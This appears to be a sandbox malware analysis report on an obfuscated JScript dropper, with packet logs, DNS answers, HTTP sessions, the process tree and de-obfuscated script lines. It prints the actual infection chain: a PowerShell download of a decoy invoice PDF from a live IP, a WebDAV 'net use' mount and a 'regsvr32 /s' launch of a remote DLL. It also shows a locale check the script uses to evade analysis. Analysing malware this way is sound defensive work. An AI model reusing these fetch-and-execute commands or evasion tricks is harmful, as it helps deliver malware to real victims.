Jan 11, 2025 03:14:39.629792929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.629810095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.629852057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.629870892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.629882097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.629914999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.629930019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.629947901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.630000114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.630036116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.666562080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.666594982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.666610956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.666625977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.666635990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.666640997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.666657925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.666671038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.666672945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.666687965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.666703939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.666712046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.666718006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.666728020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.666734934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.666747093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.666755915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.666774035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.666785002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.666788101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.666804075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.666825056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.672539949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.678790092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.688930035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.688949108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.688963890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.689007998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.689053059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.689055920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.689071894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.689086914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.689102888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.689114094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.689141989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.689317942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.689335108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.689368963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.689394951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.689409971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.689425945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.689444065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.689662933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.689687967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.689702988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.689712048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.689718008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.689732075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.689737082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.689747095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.689762115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.689775944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.689799070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.690043926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.690413952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:40.100778103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:40.571943045 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:40.577039957 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:40.577167988 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:40.577967882 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:40.583198071 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:41.425920963 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:41.472465038 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:41.920430899 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 03:16:36.495620966 CET	65241	53	192.168.2.4	1.1.1.1
Jan 11, 2025 03:16:36.500499010 CET	53	65241	1.1.1.1	192.168.2.4
Jan 11, 2025 03:16:36.500617027 CET	65241	53	192.168.2.4	1.1.1.1
Jan 11, 2025 03:16:36.500644922 CET	65241	53	192.168.2.4	1.1.1.1
Jan 11, 2025 03:16:36.505426884 CET	53	65241	1.1.1.1	192.168.2.4
Jan 11, 2025 03:16:36.952980042 CET	53	65241	1.1.1.1	192.168.2.4
Jan 11, 2025 03:16:36.955019951 CET	65241	53	192.168.2.4	1.1.1.1
Jan 11, 2025 03:16:36.960185051 CET	53	65241	1.1.1.1	192.168.2.4
Jan 11, 2025 03:16:36.960372925 CET	65241	53	192.168.2.4	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:14:49.784964085 CET	64416	53	192.168.2.4	1.1.1.1
Jan 11, 2025 03:16:36.494887114 CET	53	64048	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 03:14:49.784964085 CET	192.168.2.4	1.1.1.1	0x52dc	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 03:14:49.792068005 CET	1.1.1.1	192.168.2.4	0x52dc	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 03:14:50.575762987 CET	1.1.1.1	192.168.2.4	0xe6db	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 03:14:50.575762987 CET	1.1.1.1	192.168.2.4	0xe6db	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.23	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:14:50.575762987 CET	1.1.1.1	192.168.2.4	0xe6db	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.43	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:14:50.575762987 CET	1.1.1.1	192.168.2.4	0xe6db	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.18	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:14:50.575762987 CET	1.1.1.1	192.168.2.4	0xe6db	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.34	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:14:50.575762987 CET	1.1.1.1	192.168.2.4	0xe6db	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.42	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:14:50.575762987 CET	1.1.1.1	192.168.2.4	0xe6db	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.36	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:14:50.575762987 CET	1.1.1.1	192.168.2.4	0xe6db	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.35	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:14:50.575762987 CET	1.1.1.1	192.168.2.4	0xe6db	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.21	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	4488	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:14:38.097723007 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 03:14:38.923674107 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:14:38 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 03:14:38.923732042 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 03:14:38.923770905 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 03:14:38.923804998 CET	224	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]
Jan 11, 2025 03:14:38.923832893 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 03:14:38.923866987 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 03:14:38.923899889 CET	448	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 03:14:38.923953056 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 03:14:38.923985958 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 03:14:38.924021959 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 03:14:38.931799889 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	2756	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:14:40.577967882 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 03:14:41.425920963 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:14:41 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	21:14:33
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20891229701394327174.js"
Imagebase:	0x7ff6bdfc0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	21:14:33
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll
Imagebase:	0x7ff6341a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:14:33
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:14:33
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	21:14:39
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	21:14:39
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6341a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	21:14:39
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff664cf0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	21:14:40
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	21:14:40
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	21:14:41
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1760,i,9706373503848865573,6522730053211814675,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function jcccqzr() {	jcccqzr() ➔ undefined
1	dprgo = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var rstcki = this[xexmxra + vpjsq + bmpthzryp + imuhiuuwt + lwqnwz + otcxlq + qzbgvfdly + celknyo] ( this[udwpxy + qlyyzomu + huredpvhh + bmpthzryp + vkjkn + xexmxra + celknyo][oksppgeh + bmpthzryp + lwqnwz + vpjsq + celknyo + lwqnwz + gpcvqchq + zuhmrlk + ounmvk + lwqnwz + huredpvhh + celknyo] ( udwpxy + qlyyzomu + huredpvhh + bmpthzryp + vkjkn + xexmxra + celknyo + rpjzdeo + qlyyzomu + jydffma + lwqnwz + ygysxhpv + ygysxhpv ) [oaafvct + lwqnwz + yutjg + oaafvct + lwqnwz + vpjsq + btihaqcm] ( zzxzcx + gpxcshwn + mhlknkm + wwjikbz + cvpugfp + oksppgeh + sfybunpww + oaafvct + oaafvct + mhlknkm + mtohh + yrukiovun + cvpugfp + sfybunpww + qlyyzomu + mhlknkm + oaafvct + xkxey + oksppgeh + lkgmljahf + qzbgvfdly + celknyo + bmpthzryp + lkgmljahf + ygysxhpv + qwolbtyx + iphhw + vpjsq + qzbgvfdly + lwqnwz + ygysxhpv + xkxey + otcxlq + qzbgvfdly + celknyo + lwqnwz + bmpthzryp + qzbgvfdly + vpjsq + celknyo + vkjkn + lkgmljahf + qzbgvfdly + vpjsq + ygysxhpv + xkxey + foivorlkm + lkgmljahf + huredpvhh + vpjsq + ygysxhpv + lwqnwz ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( bpevhl = 0 ; bpevhl < dprgo[ygysxhpv + lwqnwz + qzbgvfdly + yutjg + celknyo + jydffma] ; ++ bpevhl )
4	{
5	if ( rstcki == dprgo[bpevhl] )
6	{
7	rstcki = true;
8	break ;
9	}
10	}
11	if ( rstcki !== true )
12	this[udwpxy + qlyyzomu + huredpvhh + bmpthzryp + vkjkn + xexmxra + celknyo][xgowx + pwdqzshoe + vkjkn + celknyo] ( );
